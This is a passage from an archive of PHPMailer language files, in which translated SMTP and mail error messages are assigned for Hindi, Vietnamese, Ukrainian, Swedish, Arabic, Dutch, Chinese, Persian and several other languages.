स्वीकार नहीं किया जाता है। '; $PHPMAILER_LANG['empty_message'] = 'संदेश खाली है। '; $PHPMAILER_LANG['encoding'] = 'अज्ञात एन्कोडिंग प्रकार। '; $PHPMAILER_LANG['execute'] = 'आदेश को निष्पादित करने में विफल। '; $PHPMAILER_LANG['extension_missing'] = 'एक्सटेन्षन गायब है: '; $PHPMAILER_LANG['file_access'] = 'फ़ाइल उपलब्ध नहीं है। '; $PHPMAILER_LANG['file_open'] = 'फ़ाइल त्रुटि: फाइल को खोला नहीं जा सका। '; $PHPMAILER_LANG['from_failed'] = 'प्रेषक का पता गलत है। '; $PHPMAILER_LANG['instantiate'] = 'मेल फ़ंक्शन कॉल नहीं कर सकता है।'; $PHPMAILER_LANG['invalid_address'] = 'पता गलत है। '; $PHPMAILER_LANG['invalid_header'] = 'अमान्य हेडर नाम या मान'; $PHPMAILER_LANG['invalid_hostentry'] = 'अमान्य hostentry: '; $PHPMAILER_LANG['invalid_host'] = 'अमान्य होस्ट: '; $PHPMAILER_LANG['mailer_not_supported'] = 'मेल सर्वर के साथ काम नहीं करता है। '; $PHPMAILER_LANG['provide_address'] = 'आपको कम से कम एक प्राप्तकर्ता का ई-मेल पता प्रदान करना होगा।'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP त्रुटि: निम्न प्राप्तकर्ताओं को पते भेजने में विफल। '; $PHPMAILER_LANG['signing'] = 'साइनअप त्रुटि: '; $PHPMAILER_LANG['smtp_code'] = 'SMTP कोड: '; $PHPMAILER_LANG['smtp_code_ex'] = 'अतिरिक्त SMTP जानकारी: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP का connect () फ़ंक्शन विफल हुआ। '; $PHPMAILER_LANG['smtp_detail'] = 'विवरण: '; $PHPMAILER_LANG['smtp_error'] = 'SMTP सर्वर त्रुटि। '; $PHPMAILER_LANG['variable_set'] = 'चर को बना या संशोधित नहीं किया जा सकता। '; phpmailer/phpmailer/language/phpmailer.lang-vi.php000064400000003401151676714400016330 0ustar00<?php /** * Vietnamese (Tiếng Việt) PHPMailer language file: refer to English translation for definitive list. * @package PHPMailer * @author VINADES.,JSC <contact@vinades.vn> */ $PHPMAILER_LANG['authenticate'] = 'Lỗi SMTP: Không thể xác thực.'; $PHPMAILER_LANG['connect_host'] = 'Lỗi SMTP: Không thể kết nối máy chủ SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'Lỗi SMTP: Dữ liệu không được chấp nhận.'; $PHPMAILER_LANG['empty_message'] = 'Không có nội dung'; $PHPMAILER_LANG['encoding'] = 'Mã hóa không xác định: '; $PHPMAILER_LANG['execute'] = 'Không thực hiện được: '; $PHPMAILER_LANG['file_access'] = 'Không thể truy cập tệp tin '; $PHPMAILER_LANG['file_open'] = 'Lỗi Tập tin: Không thể mở tệp tin: '; $PHPMAILER_LANG['from_failed'] = 'Lỗi địa chỉ gửi đi: '; $PHPMAILER_LANG['instantiate'] = 'Không dùng được các hàm gửi thư.'; $PHPMAILER_LANG['invalid_address'] = 'Đại chỉ emai không đúng: '; $PHPMAILER_LANG['mailer_not_supported'] = ' trình gửi thư không được hỗ trợ.'; $PHPMAILER_LANG['provide_address'] = 'Bạn phải cung cấp ít nhất một địa chỉ người nhận.'; $PHPMAILER_LANG['recipients_failed'] = 'Lỗi SMTP: lỗi địa chỉ người nhận: '; $PHPMAILER_LANG['signing'] = 'Lỗi đăng nhập: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Lỗi kết nối với SMTP'; $PHPMAILER_LANG['smtp_error'] = 'Lỗi máy chủ smtp '; $PHPMAILER_LANG['variable_set'] = 'Không thể thiết lập hoặc thiết lập lại biến: '; //$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; phpmailer/phpmailer/language/phpmailer.lang-uk.php000064400000004352151676714400016337 0ustar00<?php /** * Ukrainian PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Yuriy Rudyy <yrudyy@prs.net.ua> * @fixed by Boris Yurchenko <boris@yurchenko.pp.ua> */ $PHPMAILER_LANG['authenticate'] = 'Помилка SMTP: помилка авторизації.'; $PHPMAILER_LANG['connect_host'] = 'Помилка SMTP: не вдається під\'єднатися до SMTP-серверу.'; $PHPMAILER_LANG['data_not_accepted'] = 'Помилка SMTP: дані не прийнято.'; $PHPMAILER_LANG['encoding'] = 'Невідоме кодування: '; $PHPMAILER_LANG['execute'] = 'Неможливо виконати команду: '; $PHPMAILER_LANG['file_access'] = 'Немає доступу до файлу: '; $PHPMAILER_LANG['file_open'] = 'Помилка файлової системи: не вдається відкрити файл: '; $PHPMAILER_LANG['from_failed'] = 'Невірна адреса відправника: '; $PHPMAILER_LANG['instantiate'] = 'Неможливо запустити функцію mail().'; $PHPMAILER_LANG['provide_address'] = 'Будь ласка, введіть хоча б одну email-адресу отримувача.'; $PHPMAILER_LANG['mailer_not_supported'] = ' - поштовий сервер не підтримується.'; $PHPMAILER_LANG['recipients_failed'] = 'Помилка SMTP: не вдалося відправлення для таких отримувачів: '; $PHPMAILER_LANG['empty_message'] = 'Пусте повідомлення'; $PHPMAILER_LANG['invalid_address'] = 'Не відправлено через неправильний формат email-адреси: '; $PHPMAILER_LANG['signing'] = 'Помилка підпису: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Помилка з\'єднання з SMTP-сервером'; $PHPMAILER_LANG['smtp_error'] = 'Помилка SMTP-сервера: '; $PHPMAILER_LANG['variable_set'] = 'Неможливо встановити або скинути змінну: '; $PHPMAILER_LANG['extension_missing'] = 'Розширення відсутнє: '; phpmailer/phpmailer/language/phpmailer.lang-sv.php000064400000003112151676714400016341 0ustar00<?php /** * Swedish PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Johan Linnér <johan@linner.biz> */ $PHPMAILER_LANG['authenticate'] = 'SMTP fel: Kunde inte autentisera.'; $PHPMAILER_LANG['connect_host'] = 'SMTP fel: Kunde inte ansluta till SMTP-server.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP fel: Data accepterades inte.'; //$PHPMAILER_LANG['empty_message'] = 'Message body empty'; $PHPMAILER_LANG['encoding'] = 'Okänt encode-format: '; $PHPMAILER_LANG['execute'] = 'Kunde inte köra: '; $PHPMAILER_LANG['file_access'] = 'Ingen åtkomst till fil: '; $PHPMAILER_LANG['file_open'] = 'Fil fel: Kunde inte öppna fil: '; $PHPMAILER_LANG['from_failed'] = 'Följande avsändaradress är felaktig: '; $PHPMAILER_LANG['instantiate'] = 'Kunde inte initiera e-postfunktion.'; $PHPMAILER_LANG['invalid_address'] = 'Felaktig adress: '; $PHPMAILER_LANG['provide_address'] = 'Du måste ange minst en mottagares e-postadress.'; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer stöds inte.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP fel: Följande mottagare är felaktig: '; $PHPMAILER_LANG['signing'] = 'Signeringsfel: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() misslyckades.'; $PHPMAILER_LANG['smtp_error'] = 'SMTP serverfel: '; $PHPMAILER_LANG['variable_set'] = 'Kunde inte definiera eller återställa variabel: '; $PHPMAILER_LANG['extension_missing'] = 'Tillägg ej tillgängligt: '; phpmailer/phpmailer/language/phpmailer.lang-ar.php000064400000003750151676714400016323 0ustar00<?php /** * Arabic PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author bahjat al mostafa <bahjat983@hotmail.com> */ $PHPMAILER_LANG['authenticate'] = 'خطأ SMTP : لا يمكن تأكيد الهوية.'; $PHPMAILER_LANG['connect_host'] = 'خطأ SMTP: لا يمكن الاتصال بالخادم SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'خطأ SMTP: لم يتم قبول المعلومات .'; $PHPMAILER_LANG['empty_message'] = 'نص الرسالة فارغ'; $PHPMAILER_LANG['encoding'] = 'ترميز غير معروف: '; $PHPMAILER_LANG['execute'] = 'لا يمكن تنفيذ : '; $PHPMAILER_LANG['file_access'] = 'لا يمكن الوصول للملف: '; $PHPMAILER_LANG['file_open'] = 'خطأ في الملف: لا يمكن فتحه: '; $PHPMAILER_LANG['from_failed'] = 'خطأ على مستوى عنوان المرسل : '; $PHPMAILER_LANG['instantiate'] = 'لا يمكن توفير خدمة البريد.'; $PHPMAILER_LANG['invalid_address'] = 'الإرسال غير ممكن لأن عنوان البريد الإلكتروني غير صالح: '; $PHPMAILER_LANG['mailer_not_supported'] = ' برنامج الإرسال غير مدعوم.'; $PHPMAILER_LANG['provide_address'] = 'يجب توفير عنوان البريد الإلكتروني لمستلم واحد على الأقل.'; $PHPMAILER_LANG['recipients_failed'] = 'خطأ SMTP: الأخطاء التالية فشل في الارسال لكل من : '; $PHPMAILER_LANG['signing'] = 'خطأ في التوقيع: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() غير ممكن.'; $PHPMAILER_LANG['smtp_error'] = 'خطأ على مستوى الخادم SMTP: '; $PHPMAILER_LANG['variable_set'] = 'لا يمكن تعيين أو إعادة تعيين متغير: '; $PHPMAILER_LANG['extension_missing'] = 'الإضافة غير موجودة: '; phpmailer/phpmailer/language/phpmailer.lang-nl.php000064400000004475151676714400016337 0ustar00<?php /** * Dutch PHPMailer language file: refer to PHPMailer.php for definitive list. * @package PHPMailer * @author Tuxion <team@tuxion.nl> */ $PHPMAILER_LANG['authenticate'] = 'SMTP-fout: authenticatie mislukt.'; $PHPMAILER_LANG['buggy_php'] = 'PHP versie gededecteerd die onderhavig is aan een bug die kan resulteren in gecorrumpeerde berichten. Om dit te voorkomen, gebruik SMTP voor het verzenden van berichten, zet de mail.add_x_header optie in uw php.ini file uit, gebruik MacOS of Linux, of pas de gebruikte PHP versie aan naar versie 7.0.17+ or 7.1.3+.'; $PHPMAILER_LANG['connect_host'] = 'SMTP-fout: kon niet verbinden met SMTP-host.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP-fout: data niet geaccepteerd.'; $PHPMAILER_LANG['empty_message'] = 'Berichttekst is leeg'; $PHPMAILER_LANG['encoding'] = 'Onbekende codering: '; $PHPMAILER_LANG['execute'] = 'Kon niet uitvoeren: '; $PHPMAILER_LANG['extension_missing'] = 'Extensie afwezig: '; $PHPMAILER_LANG['file_access'] = 'Kreeg geen toegang tot bestand: '; $PHPMAILER_LANG['file_open'] = 'Bestandsfout: kon bestand niet openen: '; $PHPMAILER_LANG['from_failed'] = 'Het volgende afzendersadres is mislukt: '; $PHPMAILER_LANG['instantiate'] = 'Kon mailfunctie niet initialiseren.'; $PHPMAILER_LANG['invalid_address'] = 'Ongeldig adres: '; $PHPMAILER_LANG['invalid_header'] = 'Ongeldige header naam of waarde'; $PHPMAILER_LANG['invalid_hostentry'] = 'Ongeldige hostentry: '; $PHPMAILER_LANG['invalid_host'] = 'Ongeldige host: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer wordt niet ondersteund.'; $PHPMAILER_LANG['provide_address'] = 'Er moet minstens één ontvanger worden opgegeven.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP-fout: de volgende ontvangers zijn mislukt: '; $PHPMAILER_LANG['signing'] = 'Signeerfout: '; $PHPMAILER_LANG['smtp_code'] = 'SMTP code: '; $PHPMAILER_LANG['smtp_code_ex'] = 'Aanvullende SMTP informatie: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Verbinding mislukt.'; $PHPMAILER_LANG['smtp_detail'] = 'Detail: '; $PHPMAILER_LANG['smtp_error'] = 'SMTP-serverfout: '; $PHPMAILER_LANG['variable_set'] = 'Kan de volgende variabele niet instellen of resetten: '; phpmailer/phpmailer/language/phpmailer.lang-tr.php000064400000003354151676714400016346 0ustar00<?php /** * Turkish PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Elçin Özel * @author Can Yılmaz * @author Mehmet Benlioğlu * @author @yasinaydin * @author Ogün Karakuş */ $PHPMAILER_LANG['authenticate'] = 'SMTP Hatası: Oturum açılamadı.'; $PHPMAILER_LANG['connect_host'] = 'SMTP Hatası: SMTP sunucusuna bağlanılamadı.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP Hatası: Veri kabul edilmedi.'; $PHPMAILER_LANG['empty_message'] = 'Mesajın içeriği boş'; $PHPMAILER_LANG['encoding'] = 'Bilinmeyen karakter kodlama: '; $PHPMAILER_LANG['execute'] = 'Çalıştırılamadı: '; $PHPMAILER_LANG['file_access'] = 'Dosyaya erişilemedi: '; $PHPMAILER_LANG['file_open'] = 'Dosya Hatası: Dosya açılamadı: '; $PHPMAILER_LANG['from_failed'] = 'Belirtilen adreslere gönderme başarısız: '; $PHPMAILER_LANG['instantiate'] = 'Örnek e-posta fonksiyonu oluşturulamadı.'; $PHPMAILER_LANG['invalid_address'] = 'Geçersiz e-posta adresi: '; $PHPMAILER_LANG['mailer_not_supported'] = ' e-posta kütüphanesi desteklenmiyor.'; $PHPMAILER_LANG['provide_address'] = 'En az bir alıcı e-posta adresi belirtmelisiniz.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP Hatası: Belirtilen alıcılara ulaşılamadı: '; $PHPMAILER_LANG['signing'] = 'İmzalama hatası: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP connect() fonksiyonu başarısız.'; $PHPMAILER_LANG['smtp_error'] = 'SMTP sunucu hatası: '; $PHPMAILER_LANG['variable_set'] = 'Değişken ayarlanamadı ya da sıfırlanamadı: '; $PHPMAILER_LANG['extension_missing'] = 'Eklenti bulunamadı: '; phpmailer/phpmailer/language/phpmailer.lang-ca.php000064400000003302151676714400016275 0ustar00<?php /** * Catalan PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Ivan <web AT microstudi DOT com> */ $PHPMAILER_LANG['authenticate'] = 'Error SMTP: No s’ha pogut autenticar.'; $PHPMAILER_LANG['connect_host'] = 'Error SMTP: No es pot connectar al servidor SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'Error SMTP: Dades no acceptades.'; $PHPMAILER_LANG['empty_message'] = 'El cos del missatge està buit.'; $PHPMAILER_LANG['encoding'] = 'Codificació desconeguda: '; $PHPMAILER_LANG['execute'] = 'No es pot executar: '; $PHPMAILER_LANG['file_access'] = 'No es pot accedir a l’arxiu: '; $PHPMAILER_LANG['file_open'] = 'Error d’Arxiu: No es pot obrir l’arxiu: '; $PHPMAILER_LANG['from_failed'] = 'La(s) següent(s) adreces de remitent han fallat: '; $PHPMAILER_LANG['instantiate'] = 'No s’ha pogut crear una instància de la funció Mail.'; $PHPMAILER_LANG['invalid_address'] = 'Adreça d’email invalida: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer no està suportat'; $PHPMAILER_LANG['provide_address'] = 'S’ha de proveir almenys una adreça d’email com a destinatari.'; $PHPMAILER_LANG['recipients_failed'] = 'Error SMTP: Els següents destinataris han fallat: '; $PHPMAILER_LANG['signing'] = 'Error al signar: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Ha fallat el SMTP Connect().'; $PHPMAILER_LANG['smtp_error'] = 'Error del servidor SMTP: '; $PHPMAILER_LANG['variable_set'] = 'No s’ha pogut establir o restablir la variable: '; //$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; phpmailer/phpmailer/language/phpmailer.lang-ro.php000064400000004620151676714400016336 0ustar00<?php /** * Romanian PHPMailer language file: refer to English translation for definitive list * @package PHPMailer */ $PHPMAILER_LANG['authenticate'] = 'Eroare SMTP: Autentificarea a eșuat.'; $PHPMAILER_LANG['buggy_php'] = 'Versiunea instalată de PHP este afectată de o problemă care poate duce la coruperea mesajelor Pentru a preveni această problemă, folosiți SMTP, dezactivați opțiunea mail.add_x_header din php.ini, folosiți MacOS/Linux sau actualizați versiunea de PHP la 7.0.17+ sau 7.1.3+.'; $PHPMAILER_LANG['connect_host'] = 'Eroare SMTP: Conectarea la serverul SMTP a eșuat.'; $PHPMAILER_LANG['data_not_accepted'] = 'Eroare SMTP: Datele nu au fost acceptate.'; $PHPMAILER_LANG['empty_message'] = 'Mesajul este gol.'; $PHPMAILER_LANG['encoding'] = 'Encodare necunoscută: '; $PHPMAILER_LANG['execute'] = 'Nu se poate executa următoarea comandă: '; $PHPMAILER_LANG['extension_missing'] = 'Lipsește extensia: '; $PHPMAILER_LANG['file_access'] = 'Nu se poate accesa următorul fișier: '; $PHPMAILER_LANG['file_open'] = 'Eroare fișier: Nu se poate deschide următorul fișier: '; $PHPMAILER_LANG['from_failed'] = 'Următoarele adrese From au dat eroare: '; $PHPMAILER_LANG['instantiate'] = 'Funcția mail nu a putut fi inițializată.'; $PHPMAILER_LANG['invalid_address'] = 'Adresa de email nu este validă: '; $PHPMAILER_LANG['invalid_header'] = 'Numele sau valoarea header-ului nu este validă: '; $PHPMAILER_LANG['invalid_hostentry'] = 'Hostentry invalid: '; $PHPMAILER_LANG['invalid_host'] = 'Host invalid: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer nu este suportat.'; $PHPMAILER_LANG['provide_address'] = 'Trebuie să adăugați cel puțin o adresă de email.'; $PHPMAILER_LANG['recipients_failed'] = 'Eroare SMTP: Următoarele adrese de email au eșuat: '; $PHPMAILER_LANG['signing'] = 'A aparut o problemă la semnarea emailului. '; $PHPMAILER_LANG['smtp_code'] = 'Cod SMTP: '; $PHPMAILER_LANG['smtp_code_ex'] = 'Informații SMTP adiționale: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Conectarea la serverul SMTP a eșuat.'; $PHPMAILER_LANG['smtp_detail'] = 'Detalii SMTP: '; $PHPMAILER_LANG['smtp_error'] = 'Eroare server SMTP: '; $PHPMAILER_LANG['variable_set'] = 'Nu se poate seta/reseta variabila. '; phpmailer/phpmailer/language/phpmailer.lang-zh_cn.php000064400000004435151676714400017023 0ustar00<?php /** * Simplified Chinese PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author liqwei <liqwei@liqwei.com> * @author young <masxy@foxmail.com> * @author Teddysun <i@teddysun.com> */ $PHPMAILER_LANG['authenticate'] = 'SMTP 错误:登录失败。'; $PHPMAILER_LANG['buggy_php'] = '您的 PHP 版本存在漏洞,可能会导致消息损坏。为修复此问题,请切换到使用 SMTP 发送,在您的 php.ini 中禁用 mail.add_x_header 选项。切换到 MacOS 或 Linux,或将您的 PHP 升级到 7.0.17+ 或 7.1.3+ 版本。'; $PHPMAILER_LANG['connect_host'] = 'SMTP 错误:无法连接到 SMTP 主机。'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP 错误:数据不被接受。'; $PHPMAILER_LANG['empty_message'] = '邮件正文为空。'; $PHPMAILER_LANG['encoding'] = '未知编码:'; $PHPMAILER_LANG['execute'] = '无法执行:'; $PHPMAILER_LANG['extension_missing'] = '缺少扩展名:'; $PHPMAILER_LANG['file_access'] = '无法访问文件:'; $PHPMAILER_LANG['file_open'] = '文件错误:无法打开文件:'; $PHPMAILER_LANG['from_failed'] = '发送地址错误:'; $PHPMAILER_LANG['instantiate'] = '未知函数调用。'; $PHPMAILER_LANG['invalid_address'] = '发送失败,电子邮箱地址是无效的:'; $PHPMAILER_LANG['mailer_not_supported'] = '发信客户端不被支持。'; $PHPMAILER_LANG['provide_address'] = '必须提供至少一个收件人地址。'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP 错误:收件人地址错误:'; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP服务器连接失败。'; $PHPMAILER_LANG['smtp_error'] = 'SMTP服务器出错:'; $PHPMAILER_LANG['variable_set'] = '无法设置或重置变量:'; $PHPMAILER_LANG['invalid_header'] = '无效的标题名称或值'; $PHPMAILER_LANG['invalid_hostentry'] = '无效的hostentry: '; $PHPMAILER_LANG['invalid_host'] = '无效的主机:'; $PHPMAILER_LANG['signing'] = '签名错误:'; $PHPMAILER_LANG['smtp_code'] = 'SMTP代码: '; $PHPMAILER_LANG['smtp_code_ex'] = '附加SMTP信息: '; $PHPMAILER_LANG['smtp_detail'] = '详情:'; phpmailer/phpmailer/language/phpmailer.lang-bg.php000064400000004224151676714400016306 0ustar00<?php /** * Bulgarian PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Mikhail Kyosev <mialygk@gmail.com> */ $PHPMAILER_LANG['authenticate'] = 'SMTP грешка: Не може да се удостовери пред сървъра.'; $PHPMAILER_LANG['connect_host'] = 'SMTP грешка: Не може да се свърже с SMTP хоста.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP грешка: данните не са приети.'; $PHPMAILER_LANG['empty_message'] = 'Съдържанието на съобщението е празно'; $PHPMAILER_LANG['encoding'] = 'Неизвестно кодиране: '; $PHPMAILER_LANG['execute'] = 'Не може да се изпълни: '; $PHPMAILER_LANG['file_access'] = 'Няма достъп до файл: '; $PHPMAILER_LANG['file_open'] = 'Файлова грешка: Не може да се отвори файл: '; $PHPMAILER_LANG['from_failed'] = 'Следните адреси за подател са невалидни: '; $PHPMAILER_LANG['instantiate'] = 'Не може да се инстанцира функцията mail.'; $PHPMAILER_LANG['invalid_address'] = 'Невалиден адрес: '; $PHPMAILER_LANG['mailer_not_supported'] = ' - пощенски сървър не се поддържа.'; $PHPMAILER_LANG['provide_address'] = 'Трябва да предоставите поне един email адрес за получател.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP грешка: Следните адреси за Получател са невалидни: '; $PHPMAILER_LANG['signing'] = 'Грешка при подписване: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP провален connect().'; $PHPMAILER_LANG['smtp_error'] = 'SMTP сървърна грешка: '; $PHPMAILER_LANG['variable_set'] = 'Не може да се установи или възстанови променлива: '; $PHPMAILER_LANG['extension_missing'] = 'Липсва разширение: '; phpmailer/phpmailer/language/phpmailer.lang-sr_latn.php000064400000003426151676714400017363 0ustar00<?php /** * Serbian PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Александар Јевремовић <ajevremovic@gmail.com> * @author Miloš Milanović <mmilanovic016@gmail.com> */ $PHPMAILER_LANG['authenticate'] = 'SMTP greška: autentifikacija nije uspela.'; $PHPMAILER_LANG['connect_host'] = 'SMTP greška: povezivanje sa SMTP serverom nije uspelo.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP greška: podaci nisu prihvaćeni.'; $PHPMAILER_LANG['empty_message'] = 'Sadržaj poruke je prazan.'; $PHPMAILER_LANG['encoding'] = 'Nepoznato kodiranje: '; $PHPMAILER_LANG['execute'] = 'Nije moguće izvršiti naredbu: '; $PHPMAILER_LANG['file_access'] = 'Nije moguće pristupiti datoteci: '; $PHPMAILER_LANG['file_open'] = 'Nije moguće otvoriti datoteku: '; $PHPMAILER_LANG['from_failed'] = 'SMTP greška: slanje sa sledećih adresa nije uspelo: '; $PHPMAILER_LANG['recipients_failed'] = 'SMTP greška: slanje na sledeće adrese nije uspelo: '; $PHPMAILER_LANG['instantiate'] = 'Nije moguće pokrenuti mail funkciju.'; $PHPMAILER_LANG['invalid_address'] = 'Poruka nije poslata. Neispravna adresa: '; $PHPMAILER_LANG['mailer_not_supported'] = ' majler nije podržan.'; $PHPMAILER_LANG['provide_address'] = 'Definišite bar jednu adresu primaoca.'; $PHPMAILER_LANG['signing'] = 'Greška prilikom prijave: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Povezivanje sa SMTP serverom nije uspelo.'; $PHPMAILER_LANG['smtp_error'] = 'Greška SMTP servera: '; $PHPMAILER_LANG['variable_set'] = 'Nije moguće zadati niti resetovati promenljivu: '; $PHPMAILER_LANG['extension_missing'] = 'Nedostaje proširenje: '; phpmailer/phpmailer/language/phpmailer.lang-fi.php000064400000003173151676714400016316 0ustar00<?php /** * Finnish PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Jyry Kuukanen */ $PHPMAILER_LANG['authenticate'] = 'SMTP-virhe: käyttäjätunnistus epäonnistui.'; $PHPMAILER_LANG['connect_host'] = 'SMTP-virhe: yhteys palvelimeen ei onnistu.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP-virhe: data on virheellinen.'; //$PHPMAILER_LANG['empty_message'] = 'Message body empty'; $PHPMAILER_LANG['encoding'] = 'Tuntematon koodaustyyppi: '; $PHPMAILER_LANG['execute'] = 'Suoritus epäonnistui: '; $PHPMAILER_LANG['file_access'] = 'Seuraavaan tiedostoon ei ole oikeuksia: '; $PHPMAILER_LANG['file_open'] = 'Tiedostovirhe: Ei voida avata tiedostoa: '; $PHPMAILER_LANG['from_failed'] = 'Seuraava lähettäjän osoite on virheellinen: '; $PHPMAILER_LANG['instantiate'] = 'mail-funktion luonti epäonnistui.'; //$PHPMAILER_LANG['invalid_address'] = 'Invalid address: '; $PHPMAILER_LANG['mailer_not_supported'] = 'postivälitintyyppiä ei tueta.'; $PHPMAILER_LANG['provide_address'] = 'Aseta vähintään yksi vastaanottajan sähköpostiosoite.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP-virhe: seuraava vastaanottaja osoite on virheellinen.'; //$PHPMAILER_LANG['signing'] = 'Signing Error: '; //$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() failed.'; //$PHPMAILER_LANG['smtp_error'] = 'SMTP server error: '; //$PHPMAILER_LANG['variable_set'] = 'Cannot set or reset variable: '; //$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; phpmailer/phpmailer/language/phpmailer.lang-hy.php000064400000004211151676714400016332 0ustar00<?php /** * Armenian PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Hrayr Grigoryan <hrayr@bits.am> */ $PHPMAILER_LANG['authenticate'] = 'SMTP -ի սխալ: չհաջողվեց ստուգել իսկությունը.'; $PHPMAILER_LANG['connect_host'] = 'SMTP -ի սխալ: չհաջողվեց կապ հաստատել SMTP սերվերի հետ.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP -ի սխալ: տվյալները ընդունված չեն.'; $PHPMAILER_LANG['empty_message'] = 'Հաղորդագրությունը դատարկ է'; $PHPMAILER_LANG['encoding'] = 'Կոդավորման անհայտ տեսակ: '; $PHPMAILER_LANG['execute'] = 'Չհաջողվեց իրականացնել հրամանը: '; $PHPMAILER_LANG['file_access'] = 'Ֆայլը հասանելի չէ: '; $PHPMAILER_LANG['file_open'] = 'Ֆայլի սխալ: ֆայլը չհաջողվեց բացել: '; $PHPMAILER_LANG['from_failed'] = 'Ուղարկողի հետևյալ հասցեն սխալ է: '; $PHPMAILER_LANG['instantiate'] = 'Հնարավոր չէ կանչել mail ֆունկցիան.'; $PHPMAILER_LANG['invalid_address'] = 'Հասցեն սխալ է: '; $PHPMAILER_LANG['mailer_not_supported'] = ' փոստային սերվերի հետ չի աշխատում.'; $PHPMAILER_LANG['provide_address'] = 'Անհրաժեշտ է տրամադրել գոնե մեկ ստացողի e-mail հասցե.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP -ի սխալ: չի հաջողվել ուղարկել հետևյալ ստացողների հասցեներին: '; $PHPMAILER_LANG['signing'] = 'Ստորագրման սխալ: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP -ի connect() ֆունկցիան չի հաջողվել'; $PHPMAILER_LANG['smtp_error'] = 'SMTP սերվերի սխալ: '; $PHPMAILER_LANG['variable_set'] = 'Չի հաջողվում ստեղծել կամ վերափոխել փոփոխականը: '; $PHPMAILER_LANG['extension_missing'] = 'Հավելվածը բացակայում է: '; phpmailer/phpmailer/language/phpmailer.lang-pt.php000064400000003541151676714400016342 0ustar00<?php /** * Portuguese (European) PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Jonadabe <jonadabe@hotmail.com> */ $PHPMAILER_LANG['authenticate'] = 'Erro do SMTP: Não foi possível realizar a autenticação.'; $PHPMAILER_LANG['connect_host'] = 'Erro do SMTP: Não foi possível realizar ligação com o servidor SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'Erro do SMTP: Os dados foram rejeitados.'; $PHPMAILER_LANG['empty_message'] = 'A mensagem no e-mail está vazia.'; $PHPMAILER_LANG['encoding'] = 'Codificação desconhecida: '; $PHPMAILER_LANG['execute'] = 'Não foi possível executar: '; $PHPMAILER_LANG['file_access'] = 'Não foi possível aceder o ficheiro: '; $PHPMAILER_LANG['file_open'] = 'Abertura do ficheiro: Não foi possível abrir o ficheiro: '; $PHPMAILER_LANG['from_failed'] = 'Ocorreram falhas nos endereços dos seguintes remententes: '; $PHPMAILER_LANG['instantiate'] = 'Não foi possível iniciar uma instância da função mail.'; $PHPMAILER_LANG['invalid_address'] = 'Não foi enviado nenhum e-mail para o endereço de e-mail inválido: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer não é suportado.'; $PHPMAILER_LANG['provide_address'] = 'Tem de fornecer pelo menos um endereço como destinatário do e-mail.'; $PHPMAILER_LANG['recipients_failed'] = 'Erro do SMTP: O endereço do seguinte destinatário falhou: '; $PHPMAILER_LANG['signing'] = 'Erro ao assinar: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() falhou.'; $PHPMAILER_LANG['smtp_error'] = 'Erro de servidor SMTP: '; $PHPMAILER_LANG['variable_set'] = 'Não foi possível definir ou redefinir a variável: '; $PHPMAILER_LANG['extension_missing'] = 'Extensão em falta: '; phpmailer/phpmailer/language/phpmailer.lang-fa.php000064400000004037151676714400016306 0ustar00<?php /** * Persian/Farsi PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Ali Jazayeri <jaza.ali@gmail.com> * @author Mohammad Hossein Mojtahedi <mhm5000@gmail.com> */ $PHPMAILER_LANG['authenticate'] = 'خطای SMTP: احراز هویت با شکست مواجه شد.'; $PHPMAILER_LANG['connect_host'] = 'خطای SMTP: اتصال به سرور SMTP برقرار نشد.'; $PHPMAILER_LANG['data_not_accepted'] = 'خطای SMTP: دادهها نادرست هستند.'; 